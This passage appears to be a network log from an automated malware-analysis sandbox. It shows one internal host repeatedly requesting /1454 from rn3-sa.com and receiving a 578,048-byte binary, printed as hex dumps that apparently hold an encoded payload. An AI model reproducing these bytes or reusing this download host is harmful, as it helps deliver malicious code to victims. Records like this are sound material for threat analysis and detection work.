                                                                                          2024-11-21 15:32:14 UTC16384INData Raw: b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b4 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b b4 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b5 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b b5 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b6 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b b6 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b7 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b b7 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b8 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af
                                                                                          Data Ascii: )+)+)+)+)
                                                                                          2024-11-21 15:32:14 UTC16384INData Raw: c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 e2 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b e2 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 e3 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b e3 b0 ae b2 d8 ae ae 40 ac b7 ae ae d6 14 ae ae b8 ac b7 ae ae ac b7 af ae 2b e2 b0 ae b2 ac b7 ae ae ac b7 b0 ae 2b e3 b0 ae b2 d8 ae ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 e4 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b e4 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 e5 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b e5 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae
                                                                                          Data Ascii: )+)+@++)+)+


                                                                                          Session IDSource IPSource PortDestination IPDestination Port
                                                                                          7192.168.2.74985466.29.153.238443
                                                                                          TimestampBytes transferredDirectionData
                                                                                          2024-11-21 15:32:21 UTC64OUTGET /1454 HTTP/1.1
                                                                                          Host: rn3-sa.com
                                                                                          Connection: Keep-Alive
                                                                                          2024-11-21 15:32:22 UTC249INHTTP/1.1 200 OK
                                                                                          keep-alive: timeout=5, max=100
                                                                                          last-modified: Wed, 20 Nov 2024 16:37:08 GMT
                                                                                          accept-ranges: bytes
                                                                                          content-length: 578048
                                                                                          date: Thu, 21 Nov 2024 15:32:21 GMT
                                                                                          server: LiteSpeed
                                                                                          x-turbo-charged-by: LiteSpeed
                                                                                          connection: close
                                                                                          2024-11-21 15:32:22 UTC16384INData Raw: fb 08 3e ae b1 ae ae ae b2 ae ae ae ad ad ae ae 66 ae ae ae ae ae ae ae ee ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae 2e ae ae ae bc cd 68 bc ae 62 b7 7b cf 66 af fa 7b cf 02 16 17 21 ce 1e 20 1d 15 20 0f 1b ce 11 0f 1c 1c 1d 22 ce 10 13 ce 20 23 1c ce 17 1c ce f2 fd 01 ce 1b 1d 12 13 dc bb bb b8 d2 ae ae ae ae ae ae ae fe f3 ae ae fa af b1 ae 47 cf 1c 94 ae ae ae ae ae ae ae ae 8e ae b0 cf b9 af de ae ae 7a b6 ae ae 7c b6 ae ae ae ae ae a8 97 b6 ae ae ce ae ae ae ce b7 ae ae ae ee ae ae ce ae ae ae b0 ae ae b2 ae ae ae ae ae ae ae b2 ae ae ae ae ae ae ae ae ee b7 ae ae b0 ae ae ae ae ae ae b1 ae ee 33 ae ae be ae ae be ae ae ae ae be ae ae be ae ae ae ae ae ae be ae ae ae ae ae ae ae ae ae ae
                                                                                          Data Ascii: >f.hb{f{! " #Gz|3
                                                                                          2024-11-21 15:32:22 UTC6016INData Raw: ae ac b8 ae ae d6 c7 af ae b8 ac ba af ae 88 ac b8 ae ae d6 ca af ae b8 84 ac b8 ae ae d6 cb af ae b8 ac ba af ae ac ba af ae 21 c9 af ae b8 d0 ae ae 62 70 d0 ae ae 62 f0 d6 bd b9 ae b4 2c 17 b0 ae b2 ac ba ae ae ac b8 ae ae d6 c7 af ae b8 ac ba af ae 88 ac b8 ae ae d6 ca af ae b8 84 ac b8 ae ae d6 c8 af ae b8 ac ba af ae 88 ac b8 ae ae d6 cb af ae b8 84 ac ba af ae ac ba af ae 21 c9 af ae b8 d0 ae ae ae ae d0 ae ae 62 f0 d6 bd b9 ae b4 2c 14 b0 ae b2 ce ad ad ad ad d6 b3 b9 ae b4 ac bc b1 ae e6 25 a8 ad ad e6 34 b0 ae ae ac ba ae ae ac b8 ae ae d6 ca af ae b8 ac b8 ae ae d6 cb af ae b8 ce af ae ae ae 84 21 d0 af ae b8 ac b8 ae ae d6 ca af ae b8 ac b8 ae ae d6 cb af ae b8 21 d0 af ae b8 1d de af ae b8 2c 17 b0 ae b2 ac ba ae ae ac b8 ae ae d6 c7 af ae b8
                                                                                          Data Ascii: !bpb,!b,%4!!,
                                                                                          2024-11-21 15:32:22 UTC16384INData Raw: ac ba b2 ae ac ba af ae 43 06 ce ad ae ae ae 0d ac bc b0 ae ac ba b2 ae ac ba af ae 43 ac bc b1 ae ac ba b2 ae ac ba af ae ac ba b2 ae ac ba b0 ae 43 4c ac ba b2 ae ac ba b0 ae ac ba b1 ae 4c ac ba b3 ae ac ba b4 ae 82 2c 3c b0 ae b2 ac b7 ae ae ac ba b4 ae 82 3f ac ba b2 ae ac ba b2 ae ac ba af ae 43 ac ba b2 ae ac ba b0 ae 43 06 ce ad ae ae ae 0d 43 0f d6 3a b9 ae b4 4a ac ba b4 ae ce af ae ae ae 18 06 ac bc b4 ae ac ba b4 ae ac ba b3 ae 3c 17 ce af ae ae ae 07 18 ec dc ad ad ad ac ba b3 ae d8 ae c9 de b1 ae d5 ae ae ae af ae ae bf 2c 3d b0 ae b2 2c 32 b0 ae b2 d6 12 b9 ae b4 d6 3f b9 ae b4 ac b7 ae ae ac b7 b0 ae d6 d2 ae ae b4 8c b1 d4 8c ae d8 ae af be ae ae ae ae c2 ae bd d1 ae b1 af ae ae af c1 de b7 ae ab af ae ae af ae ae bf d9 c7 ac ba ae ae f3
                                                                                          Data Ascii: CCCLL,<?CCC:J<,=,2?
                                                                                          2024-11-21 15:32:22 UTC16384INData Raw: e5 af ae b8 2e dc ae ae b2 2c 5f b0 ae b2 2c dc ae ae b2 d6 d5 ba ae b4 2e db ae ae b2 ac b7 ae ae ac b7 ae ae d6 04 af ae b8 ce af ae ae ae 88 2b 09 ae ae b2 ac b7 ae ae ac b7 ae ae d6 13 af ae b8 ce af ae ae ae 88 2b 0a ae ae b2 21 d9 af ae b8 ac bc ae ae 2c 14 b0 ae b2 ce ae ae ae ae d6 b3 b9 ae b4 ac bc b2 ae e6 fe ad ad ad 21 d9 af ae b8 ac bc af ae 21 d9 af ae b8 ac bc b0 ae ce b6 ae ae ae ce b6 ae ae ae ac b7 ae ae 29 09 ae ae b2 ce be ae ae ae 88 ac b7 ae ae 29 0a ae ae b2 ce be ae ae ae 88 21 c9 af ae b8 2c db ae ae b2 ac bc b1 ae 2c 6b b0 ae b2 ac ba b1 ae ce b0 ae ae ae d6 f3 ba ae b4 2c 6c b0 ae b2 ac ba b1 ae ce b0 ae ae ae d6 f8 ba ae b4 2c 72 b0 ae b2 ac ba b1 ae ce b3 ae ae ae d6 11 ba ae b4 2c 6d b0 ae b2 ac ba b1 ae ac b7 ae ae 1d 14 af
                                                                                          Data Ascii: .,_,.++!,!!))!,,k,l,r,m
                                                                                          2024-11-21 15:32:22 UTC16384INData Raw: 21 d0 af ae b8 ac b7 ae ae ac ba b0 ae d6 62 af ae b8 ac bc b3 ae ac bb b3 ae d6 c7 af ae b8 ac b7 ae ae ac ba b0 ae d6 62 af ae b8 ac bc b3 ae ac bb b3 ae d6 c8 af ae b8 21 d8 af ae b8 d6 ce af ae b8 ac bb b2 ae ac bb b1 ae d6 cd af ae b8 ac bb b1 ae d6 c7 af ae b8 ac bb b1 ae d6 c8 af ae b8 21 d8 af ae b8 d6 ce af ae b8 ac ba b0 ae ac b7 ae ae d6 63 af ae b8 ee b5 b0 ae ae 2c 6e b0 ae b2 ac ba ae ae ac b7 ae ae 29 4b ae ae b2 21 a6 ae ae b8 ac ba b2 ae d6 02 ba ae b4 2c 6e b0 ae b2 ac ba ae ae ac b7 ae ae 29 4c ae ae b2 21 a6 ae ae b8 ac ba b2 ae d6 02 ba ae b4 ac b7 ae ae d6 64 af ae b8 e7 1c af ae ae ac b7 ae ae d6 64 af ae b8 1d 6a af ae b8 ac b7 ae ae d6 65 af ae b8 ac ba b0 ae 1d 66 af ae b8 1d 68 af ae b8 1d 6b af ae b8 e7 84 ae ae ae 2c 7c b0 ae
                                                                                          Data Ascii: !bb!!c,n)K!,n)L!ddjefhk,|
                                                                                          2024-11-21 15:32:22 UTC16384INData Raw: d6 b3 b9 ae b4 ac bc ae ae e6 fe ad ad ad ac b7 ae ae d6 0d af ae b8 d8 c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 82 ae ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b 82 ae ae b2 d8 ae ae c1 de b1 ae c7 ae ae ae af ae ae bf 2c 2b b0 ae b2 ac b7 ae ae 1d 2e af ae b4 1d 87 af ae b8 d6 f9 b9 ae b4 d8 ae ae ae c1 de b0 ae bd ae ae ae af ae ae bf ac b7 ae ae 1d 2e af ae b4 1d 88 af ae b8 d8 ae c1 de b0 ae c2 ae ae ae af ae ae bf ac b7 ae ae 1d 2e af ae b4 1d 86 af ae b8 1d 94 af ae b8 d8 c1 de b3 ae 96 ae ae ae c4 ae ae bf d9 c7 ac ba af ae f3 b2 ae ae ae f6 ae ae ae 61 ae ae ae 0d ae ae ae c4 ae ae ae ae 2c 14 b0 ae b2 ce ab ad ad ad d6 b3 b9 ae b4 ac bc af ae d9 7f ac b7 ae ae 1d 2e af ae b4 1d 89 af ae b8 1d 98 af ae
                                                                                          Data Ascii: )+,+...a,.
                                                                                          2024-11-21 15:32:22 UTC16384INData Raw: b4 ac bc af ae e6 22 ad ad ad ac ba ae ae ac b7 b2 ae 2b 42 af ae b2 ac b7 ae ae 29 ae af ae b2 ac b7 b0 ae ac b7 b3 ae 1d 4f ae ae b8 c5 d9 b1 c4 d9 ae da 83 2c 14 b0 ae b2 ce ad ad ad ad d6 b3 b9 ae b4 ac bc af ae e6 df ad ad ad ac b7 ae ae ce ae ae ae ae d6 41 b2 ae b4 ce b1 ae ae ae d6 42 b2 ae b4 2c 9d b0 ae b2 2c 3f b0 ae b2 d6 49 b9 ae b4 ac ba ae ae 1d 9a b0 ae b4 d6 a7 ba ae b4 d6 c7 b0 ae b4 d4 d8 ae ae ae c9 de b2 ae e3 af ae ae f5 ae ae bf 2c 31 b0 ae b2 ac b7 b0 ae 1d 05 b1 ae b4 ce af ae ae ae d6 43 b2 ae b4 d6 0d b9 ae b4 e7 30 ae ae ae ac b7 b0 ae 1d 07 b1 ae b4 d6 94 b0 ae b4 ac bc ae ae ac ba ae ae da be ac ba ae ae 29 3e af ae b2 ce 76 ae ae ae dc c5 ac b7 ae ae ac ba ae ae 29 3e af ae b2 d6 b5 b0 ae b4 8b 81 ae ae ae ac b7 ae ae 29 ae
                                                                                          Data Ascii: "+B)O,AB,,?I,1C0)>v)>)
                                                                                          2024-11-21 15:32:22 UTC16384INData Raw: ae b4 d3 ac ba b3 ae 1d d8 b1 ae b4 d3 ac b7 b0 ae 1d da b1 ae b4 d3 ce ae ae ae ae 1d de b1 ae b4 ac bc b4 ae ac b7 ae ae 29 fb af ae b2 ac bc af ae ce ae ae ae ae ac bc b0 ae 2c a0 b0 ae b2 ac ba af ae ac bb b0 ae d6 b6 bb ae b4 ac b7 ae ae 29 fb af ae b2 1d 47 ae ae b8 ac b7 ae ae 29 ff af ae b2 1d 7e b0 ae b4 ac b2 ac bc ae ae ac ba ae ae e7 8e ae ae ae ac b7 ae ae 29 fb af ae b2 ac ba b4 ae 1d 46 ae ae b8 ce ce ae ae ae ce b1 ae ae ae d6 84 b2 ae b4 ac b7 af ae d6 88 b0 ae b4 ac b7 af ae 1d 9c b0 ae b4 ce b1 ae ae ae ee 51 ae ae ae ac ba b4 ae 1d d9 b1 ae b4 db fb ac b7 af ae 1d a0 b0 ae b4 ce af ae ae ae dc be ac b7 af ae 1d a0 b0 ae b4 ce b0 ae ae ae e1 db ac b7 ae ae 29 fe af ae b2 da 1b ac b7 ae ae 29 fe af ae b2 1d 8e b0 ae b4 ac ba b4 ae 1d df
                                                                                          Data Ascii: ),)G)~)FQ))
                                                                                          2024-11-21 15:32:22 UTC16384INData Raw: b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b4 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b b4 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b5 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b b5 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b6 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b b6 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b7 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b b7 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b8 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af
                                                                                          Data Ascii: )+)+)+)+)
                                                                                          2024-11-21 15:32:22 UTC16384INData Raw: c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 e2 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b e2 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 e3 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b e3 b0 ae b2 d8 ae ae 40 ac b7 ae ae d6 14 ae ae b8 ac b7 ae ae ac b7 af ae 2b e2 b0 ae b2 ac b7 ae ae ac b7 b0 ae 2b e3 b0 ae b2 d8 ae ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 e4 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b e4 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 e5 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b e5 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae
                                                                                          Data Ascii: )+)+@++)+)+


                                                                                          Session IDSource IPSource PortDestination IPDestination Port
                                                                                          8192.168.2.74988266.29.153.238443
                                                                                          TimestampBytes transferredDirectionData
                                                                                          2024-11-21 15:32:35 UTC64OUTGET /1454 HTTP/1.1
                                                                                          Host: rn3-sa.com
                                                                                          Connection: Keep-Alive
                                                                                          2024-11-21 15:32:36 UTC249INHTTP/1.1 200 OK
                                                                                          keep-alive: timeout=5, max=100
                                                                                          last-modified: Wed, 20 Nov 2024 16:37:08 GMT
                                                                                          accept-ranges: bytes
                                                                                          content-length: 578048
                                                                                          date: Thu, 21 Nov 2024 15:32:35 GMT
                                                                                          server: LiteSpeed
                                                                                          x-turbo-charged-by: LiteSpeed
                                                                                          connection: close
                                                                                          2024-11-21 15:32:36 UTC16135INData Raw: fb 08 3e ae b1 ae ae ae b2 ae ae ae ad ad ae ae 66 ae ae ae ae ae ae ae ee ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae 2e ae ae ae bc cd 68 bc ae 62 b7 7b cf 66 af fa 7b cf 02 16 17 21 ce 1e 20 1d 15 20 0f 1b ce 11 0f 1c 1c 1d 22 ce 10 13 ce 20 23 1c ce 17 1c ce f2 fd 01 ce 1b 1d 12 13 dc bb bb b8 d2 ae ae ae ae ae ae ae fe f3 ae ae fa af b1 ae 47 cf 1c 94 ae ae ae ae ae ae ae ae 8e ae b0 cf b9 af de ae ae 7a b6 ae ae 7c b6 ae ae ae ae ae a8 97 b6 ae ae ce ae ae ae ce b7 ae ae ae ee ae ae ce ae ae ae b0 ae ae b2 ae ae ae ae ae ae ae b2 ae ae ae ae ae ae ae ae ee b7 ae ae b0 ae ae ae ae ae ae b1 ae ee 33 ae ae be ae ae be ae ae ae ae be ae ae be ae ae ae ae ae ae be ae ae ae ae ae ae ae ae ae ae
                                                                                          Data Ascii: >f.hb{f{! " #Gz|3
                                                                                          2024-11-21 15:32:36 UTC16384INData Raw: 71 d0 ae ae 62 f0 1d dd af ae b8 2c 18 b0 ae b2 ac ba ae ae ac b8 ae ae d6 ca af ae b8 ac b8 ae ae d6 c7 af ae b8 84 ac b8 ae ae d6 cb af ae b8 21 d0 af ae b8 ac b8 ae ae d6 ca af ae b8 ac b8 ae ae d6 c7 af ae b8 84 ac b8 ae ae d6 cb af ae b8 ac b8 ae ae d6 c8 af ae b8 84 21 d0 af ae b8 d6 c2 b9 ae b4 2c 17 b0 ae b2 ac ba ae ae ac b8 ae ae d6 ca af ae b8 ac b8 ae ae d6 c8 af ae b8 ac ba af ae 88 ac b8 ae ae d6 cb af ae b8 84 ac ba af ae ac ba af ae 21 c9 af ae b8 d0 ae ae 62 f0 d0 ae ae 62 f0 d6 bd b9 ae b4 e6 2d b1 ae ae ac ba ae ae ac b8 ae ae d6 ca af ae b8 ac b8 ae ae d6 cb af ae b8 ac b8 ae ae d6 c8 af ae b8 84 21 d0 af ae b8 ac b8 ae ae d6 ca af ae b8 ac b8 ae ae d6 cb af ae b8 21 d0 af ae b8 1d de af ae b8 2c 17 b0 ae b2 ac ba ae ae ac b8 ae ae d6
                                                                                          Data Ascii: qb,!!,!bb-!!,
                                                                                          2024-11-21 15:32:36 UTC16384INData Raw: ae ce a1 ae ae ae d6 a3 b9 ae b4 2b f5 ae ae b2 ac b7 ae ae ce c0 ce b0 ae ce af ae ae ae d6 0f af ae b8 ac b7 ae ae ce af ae ae ae 1d 10 af ae b8 ac b7 ae ae 2c 5c b0 ae b2 d6 d0 ba ae b4 1d 11 af ae b8 ac b7 ae ae ce c0 ae ae ae ce c0 ae ae ae 21 d8 af ae b8 d6 1c af ae b8 ac b7 ae ae ce b7 ae ae ae 1d 1e af ae b8 ac b7 ae ae ce ae ae ae ae d6 e2 b2 ae b4 d0 ae ae ce ef 21 be af ae b8 1d 12 af ae b8 d8 ae c1 de b9 ae 42 b0 ae ae c8 ae ae bf d9 c7 ac ba b3 ae f3 b2 ae ae ae 5c ae ae ae ba b0 ae ae 30 af ae ae c4 ae ae ae ae 2c 14 b0 ae b2 ce ab ad ad ad d6 b3 b9 ae b4 ac bc b3 ae d9 7f ac b7 ae ae d6 04 af ae b8 ac b7 ae ae d6 13 af ae b8 21 e5 af ae b8 ac bc ae ae 2c 5f b0 ae b2 ac ba ae ae d6 d5 ba ae b4 ac bc af ae ac bb b0 ae ce ae ae ae ae ce ae ae
                                                                                          Data Ascii: +,\!!B\0,!,_
                                                                                          2024-11-21 15:32:36 UTC15264INData Raw: ae ae ce b0 ae ae ae 2b 32 ae ae b2 ac b7 ae ae d6 0d af ae b8 d8 ae ae ae c1 de b1 ae d3 ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae d6 07 af ae b8 ac b7 ae ae ce af ae ae ae 2b 32 ae ae b2 ac b7 ae ae d6 0d af ae b8 d8 ae ae ae c1 de b1 ae d3 ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae d6 18 af ae b8 ac b7 ae ae ce af ae ae ae 2b 32 ae ae b2 ac b7 ae ae d6 0d af ae b8 d8 ae ae ae c1 de b1 ae d3 ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae d6 19 af ae b8 ac b7 ae ae ce ae ae ae ae 2b 32 ae ae b2 ac b7 ae ae d6 0d af ae b8 d8 ae ae ae c1 de b4 ae a3 ae ae ae ae ae ae ae ac b7 ae ae d6 1d af ae b8 ac b7 ae ae ce ae ae ae ae 2b 32 ae ae b2 ac b7 ae ae 2c 52 b0 ae b2 ce db ae ae ae ce dd ae ae ae ce df ae ae ae d6 a3 b9 ae b4 2b 36 ae ae b2 ac b7 ae ae 2c
                                                                                          Data Ascii: +2+2+2+2+2,R+6,
                                                                                          2024-11-21 15:32:36 UTC16384INData Raw: ae ae ae e1 04 2c 6e b0 ae b2 2c 62 b0 ae b2 ac b7 b0 ae d6 df ba ae b4 ac b7 ae ae 29 6d ae ae b2 21 a6 ae ae b8 2c 86 b0 ae b2 ac b7 b0 ae d6 52 ba ae b4 d6 02 ba ae b4 c5 d9 b1 c4 d9 ae da 44 2c 14 b0 ae b2 ce ad ad ad ad d6 b3 b9 ae b4 ac bc af ae e6 54 ac ad ad d9 d8 ac b7 b0 ae 1d 7f af ae b8 ac b7 ae ae 29 6b ae ae b2 21 a6 ae ae b8 2c 86 b0 ae b2 ac b7 b0 ae d6 52 ba ae b4 1d ae af ae b8 ac b7 b0 ae 1d 7f af ae b8 ac b7 ae ae 2c 88 b0 ae b2 ac b7 ae ae d6 70 af ae b8 2c 67 b0 ae b2 ac b7 b0 ae d6 ee ba ae b4 1d 7a af ae b8 d6 57 ba ae b4 d6 81 af ae b8 ce b1 ae ae ae d6 14 b2 ae b4 d0 ae ae ae ef 21 be af ae b8 2c 7d b0 ae b2 d6 3e ba ae b4 2c 86 b0 ae b2 ac b7 b0 ae d6 52 ba ae b4 ac bc ae ae 2c 60 b0 ae b2 ac bb ae ae d6 ca af ae b8 ce b0 ae ae
                                                                                          Data Ascii: ,n,b)m!,RD,T)k!,R,p,gzW!,}>,R,`
                                                                                          2024-11-21 15:32:36 UTC16384INData Raw: b4 2b a1 ae ae b2 ac b7 ae ae ce c0 ce b0 ae ce af ae ae ae d6 0f af ae b8 ac b7 ae ae ce af ae ae ae 1d a8 af ae b8 ac b7 ae ae ac b7 ae ae 29 a0 ae ae b2 1d a9 af ae b8 ac b7 ae ae 2c 5c b0 ae b2 d6 d0 ba ae b4 1d aa af ae b8 ac b7 ae ae ac b7 ae ae 29 a1 ae ae b2 d6 ab af ae b8 ac b7 ae ae ce b0 ae ae ae d6 ac af ae b8 d8 c1 de b8 ae df b0 ae ae c7 ae ae bf d9 c7 ac ba b0 ae f3 b2 ae ae ae 09 ae ae ae 66 af ae ae 37 af ae ae c4 ae ae ae ae 2c 14 b0 ae b2 ce ab ad ad ad d6 b3 b9 ae b4 ac bc b0 ae d9 7f ac b7 ae ae d6 04 af ae b8 ac b7 ae ae d6 13 af ae b8 21 e5 af ae b8 2e dc ae ae b2 2c 5f b0 ae b2 2c dc ae ae b2 d6 d5 ba ae b4 2e db ae ae b2 2c 14 b0 ae b2 ce ae ae ae ae d6 b3 b9 ae b4 ac bc b0 ae d9 3a ac bb ae ae ce ae ae ae ae ce ae ae ae ae ac b7
                                                                                          Data Ascii: +),\)f7,!.,_,.,:
                                                                                          2024-11-21 15:32:36 UTC16384INData Raw: ac ba b0 ae ac b7 af ae d6 ff b0 ae b4 1d 66 ae ae b8 d4 ac ba af ae 1d 31 ae ae b8 db 4c 8c d0 ac ba af ae 23 b5 ae ae af ac bc b1 ae ac ba b1 ae da bc 2c 06 b0 ae b2 ac ba b1 ae d6 9f b8 ae b4 8a ac ba ae ae ce b1 ae ae ae d6 77 b2 ae b4 1d 66 ae ae b8 d4 2c 1c b0 ae b2 ac ba ae ae d6 d1 b9 ae b4 d8 af be ae ae b0 ae d3 ae 14 39 ae d0 ae ae ae ae c9 de b4 ae dd af ae ae 04 ae ae bf ce b1 ae ae ae d6 78 b2 ae b4 21 67 ae ae b8 ac bc ae ae 2c ae b1 ae b2 ac b7 ae ae d6 ed bb ae b4 ac bc af ae e6 5e ae ae ae 2c 77 b0 ae b2 ac ba af ae d6 25 ba ae b4 53 fb ae ae af ac bc b0 ae 2c 6a b0 ae b2 ac ba ae ae d6 ee ba ae b4 ce af ae ae ae df c7 2c ad b0 ae b2 ac ba ae ae ce af ae ae ae d6 79 b2 ae b4 d6 e8 bb ae b4 d4 ac ba ae ae 2c 3e b0 ae b2 ce b0 ae ae ae d6
                                                                                          Data Ascii: f1L#,wf,9x!g,^,w%S,j,y,>
                                                                                          2024-11-21 15:32:36 UTC16336INData Raw: ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 0a af ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b 0a af ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 0b af ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b 0b af ae b2 d8 ae ae 40 ac b7 ae ae d6 af ae ae b8 ac b7 ae ae ac b7 af ae d6 5a b0 ae b4 ac b7 ae ae ac b7 b0 ae d6 5c b0 ae b4 d8 ae ae ae c1 de b2 ae 7f ae ae ae 19 ae ae bf d9 c7 ac ba af ae f3 b2 ae ae ae e6 ae ae ae 49 ae ae ae 10 ae ae ae c4 ae ae ae ae 2c 14 b0 ae b2 ce ab ad ad ad d6 b3 b9 ae b4 ac bc af ae d9 7f ac b7 af ae 22 25 ae ae b0 ac bc ae ae 2c 14 b0 ae b2 ce ae ae ae ae d6 b3 b9 ae b4 ac bc af ae d9 5d ac ba ae ae 1d d5 b1 ae b4 1d 9c b0 ae b4 ce b1 ae ae ae
                                                                                          Data Ascii: )+)+@Z\I,"%,]
                                                                                          2024-11-21 15:32:36 UTC48INData Raw: b0 ae ae ae e1 bc ac ba af ae ce b0 ae ae ae 06 ac bc af ae ac b7 ae ae 29 d7 b0 ae b2 da c2 ac ba b0 ae ac b7 ae ae 29 d7 b0 ae b2 3c 17 06 ac
                                                                                          Data Ascii: ))<
                                                                                          2024-11-21 15:32:36 UTC16384INData Raw: bc b0 ae ac ba b1 ae ac ba af ae ac ba b0 ae 06 06 ac bc b1 ae ce af ae ae ae ac bc ae ae 2c 14 b0 ae b2 ce ac ad ad ad d6 b3 b9 ae b4 ac bc b6 ae e6 ff ac ad ad ac ba b1 ae ac bc b5 ae ac ba ae ae ce af ae ae ae 06 ac bc ae ae ac ba b5 ae ce 2e ae ae ae 09 ac bc b5 ae ac ba b5 ae ce ae ae ae ae de 87 ac ba ae ae ac ba af ae 06 ac ba b0 ae 06 3b ce ae ae af ac bc b2 ae ac ba b2 ae ac ba b3 ae ce de ae ae ae ac b7 ae ae 29 7b af ae b2 ce af ae ae ae 10 0e 80 4a ac ba b2 ae ac ba b3 ae 3d ce ae ae af d3 f5 ac b7 ae ae 29 7a af ae b2 db b5 ce ae ae ae ae d9 b3 ce b6 ae ae ae 0e 80 00 ac ba b2 ae ac ba b3 ae 3d ce ae ae af d3 f5 ac b7 ae ae 29 7c af ae b2 db b5 ce ae ae ae ae d9 b3 ce af ae ae ae 0e 80 00 ac ba b3 ae ce af ae ae ae 06 ac bc b3 ae ac b7 ae ae
                                                                                          Data Ascii: ,.;){J=)z=)|


                                                                                          Session IDSource IPSource PortDestination IPDestination Port
                                                                                          9192.168.2.74990166.29.153.238443
                                                                                          TimestampBytes transferredDirectionData
                                                                                          2024-11-21 15:32:43 UTC64OUTGET /1454 HTTP/1.1
                                                                                          Host: rn3-sa.com
                                                                                          Connection: Keep-Alive
                                                                                          2024-11-21 15:32:44 UTC249INHTTP/1.1 200 OK
                                                                                          keep-alive: timeout=5, max=100
                                                                                          last-modified: Wed, 20 Nov 2024 16:37:08 GMT
                                                                                          accept-ranges: bytes
                                                                                          content-length: 578048
                                                                                          date: Thu, 21 Nov 2024 15:32:44 GMT
                                                                                          server: LiteSpeed
                                                                                          x-turbo-charged-by: LiteSpeed
                                                                                          connection: close
